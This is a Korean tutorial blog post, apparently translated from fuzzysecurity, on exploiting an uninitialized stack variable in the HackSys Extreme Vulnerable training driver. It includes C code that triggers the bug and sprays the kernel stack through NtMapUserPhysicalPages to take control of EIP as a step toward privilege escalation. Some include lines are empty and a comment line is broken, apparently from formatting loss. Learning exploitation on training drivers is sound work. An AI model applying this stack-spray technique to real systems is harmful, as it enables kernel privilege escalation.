[Kernel Exploitation] Uninitialized Stack Variable



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 13 -> Uninitialized Stack Variable을 분석 및 의역하여 작성하였습니다. 

Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. 취약점 분석

먼저 취약한 code를 살펴보면 처음 UNINITIALIZED_STACK_VARIABLE이라는 object가 선언되는데 SECURE한 경우 0으로 초기화가 되지만 else일 경우 해당 object를 초기화를 시키지 않습니다.

 

그리고 UserValue와 MagicValue가 같다면 해당 object의 Value와 Callback 함수 주소가 초기화 된 후 밑에서 Object에 대한 검사 후 callback함수를 호출하게 됩니다.

NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
	ULONG UserValue = 0;
	ULONG MagicValue = 0xBAD0B0B0;
	NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
	UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = { 0 };
#else
	'UNINITIALIZED_STACK_VARIABLE' structure

		UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif

	// SECURE한 경우 Object를 0으로 초기화

	PAGED_CODE();

	__try {
		ProbeForRead(UserBuffer,
			sizeof(UNINITIALIZED_STACK_VARIABLE),
			(ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));
		UserValue = *(PULONG)UserBuffer;

		DbgPrint("[+] UserValue: 0x%p\n", UserValue);
		DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
		if (UserValue == MagicValue) {
			UninitializedStackVariable.Value = UserValue;
			UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;

			// UserValue와 MagicValue가 같을 경우에 Value와 Callback함수 주소 초기화
		}

		DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
		DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);

#ifndef SECURE
		DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif
		if (UninitializedStackVariable.Callback) {  // Object가 NULL이 아닐 경우
			UninitializedStackVariable.Callback();       // Callback 함수 호출
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		Status = GetExceptionCode();
		DbgPrint("[-] Exception Code: 0x%X\n", Status);
	}

	return Status;
}

 

다음은 UserValue와 MagicValue를 맞춰 넣어주는 code 입니다.

#include "stdafx.h"
#include 
#include 
#include 
#include 
#include 
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG_PTR ZeroBits,
	PULONG AllocationSize,
	ULONG AllocationType,
	ULONG Protect
	);
int _tmain(int argc, _TCHAR* argv[])
{
	DWORD lpBytesReturned;
	LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
	PUCHAR lpInBuffer = NULL;
	LONG magicvalue = 0xBAD0B0B0;
	HMODULE hNtdll = GetModuleHandle("ntdll.dll");
	PVOID BaseAddress = (PVOID)0x1;
	SIZE_T Size = 0xff;

	HANDLE hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Fail to get device handle: 0x%x\n", GetLastError());
	}
	printf("[] hDriver: 0x%x\n", hDriver);
	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_UNINITIALIZED_VARIABLE,
		(LPVOID)&magicvalue,
		0,
		NULL,
		0,
		&lpBytesReturned,
		NULL);
	CloseHandle(hDriver);

	return 0;
}

 

UserValue를 MagicValue와 같게 해주면 초기화된 Value와 Callback함수의 주소가 출력되고 해당 Callback함수 실행 결과가 나타나게 됩니다.

 

 

 

UserValue와 MagicValue가 다른 경우 IDA로 봤을 때 Callback 함수를 호출하기 전의 과정입니다. 먼저 cmp instruction을 통해서 해당 Object의 Callback 함수주소가 NULL인지를 검사합니다.

 

 

 

그리고 Callback 함수를 호출해주는 루틴입니다. 처음에 Local 함수로 선언되므로 stack 어딘가에 해당 Object가 선언되어 있을 것입니다.

 

 

 

Callback함수를 호출하기 전 NULL인지 검사를 하게될 때 Object의 위치를 보면 MagicValue를 맞춰주지 않아 초기화가 되지않고 NULL상태인 것을 확인할 수 있습니다. 이렇게 되면 Callback함수가 호출되지 않습니다. 해당 Callback 함수의 주소만 필터링을 하기 때문에 만약 이 주소의 data를 바꾼다면 EIP control이 가능해집니다.

 

 

 

결과적으로 해당 Object가 Stack에 위치하고 있는 것이고 또 Callback함수 주소값만 NULL이 아니라면 함수 호출이 이뤄지게 됩니다.

 

따라서 해당 Stack에 Shellcode 주소를 넣을 수만 있다면 Callback 함수를 호출하면서 Shellcode가 실행될 것입니다.

 

Step 2. Exploit

NtMapUserPhysicalPages()라는 함수가 존재합니다. Windows 플랫폼에 있는 각 thread가 User Mode와 Kernel Mode 두 개의 전용 stack을 가지고 있습니다. 이 API를 사용해 Kernel stack에 특정 값들을 spray 해줍니다.

 

일단 임의의 값으로 spray를 해보도록 하겠습니다.

#include "stdafx.h"
#include 
#include 
#include 
#include 
#include 

#define HACKSYS_EVD_IOCTL_UNINITIALIZED_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)

typedef NTSTATUS(WINAPI *PNtMapUserPhysicalPages)(PLONG BaseAddress,
	SIZE_T NumberOfPages,
	PULONG PageFrameNumbers);
// 함수 포인터 선언
int _tmain(int argc, _TCHAR* argv[])
{
	DWORD lpBytesReturned;
	LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
	PUCHAR lpInBuffer = NULL;
	LONG magicvalue = 0xBADFB0B0;
	HMODULE hNtdll = GetModuleHandle("ntdll.dll");
	PULONG Stackbuffer = NULL;
	SIZE_T Buffersize = 1024;

	HANDLE hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Fail to get device handle: 0x%x\n", GetLastError());
	}
	printf("[] hDriver: 0x%x\n", hDriver);
	Stackbuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Buffersize);
	printf("before for\n");
	printf("buffersize: 0x%x\n", Buffersize);
	for (int i = 0; i < Buffersize; i++) {
		Stackbuffer[i] = (ULONG)0xDEADBEEF;
	}
	// 임의의 값으로 Stack에 spray
	FARPROC tmp = GetProcAddress(hNtdll, "NtMapUserPhysicalPages");
	// 함수 주소 로드
	PNtMapUserPhysicalPages NtMapUserPhysicalPages = (PNtMapUserPhysicalPages)tmp;
	if (!NtMapUserPhysicalPages) {
		printf("[!] NtMapUserPhysicalPages\n");
		CloseHandle(hDriver);
		FreeLibrary(hNtdll);
		return 0;
	}
	NtMapUserPhysicalPages(NULL, 1024, (PULONG)Stackbuffer);
	// Kernel Stack부분에 buffer값 삽입
	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_UNINITIALIZED_VARIABLE,
		(LPVOID)&magicvalue,
		0,
		NULL,
		0,
		&lpBytesReturned,
		NULL);
	CloseHandle(hDriver);

	return 0;
}

 

아래와 같이 0xDEADBEEF로 spray 된 것을 볼 수 있습니다. 그리고 call 되기 직전 ebp – 0x108의 값을 보면 0xdeadbeef로 나타나 있습니다.

 

 

우리는 EIP를 변조할 수 있는 것을 알았고 이 값을 0xdeadbeef 대신 shellcode의 주소로 넣으면 권한 상승을 시킬 수 있습니다.

이 글을 공유하기

댓글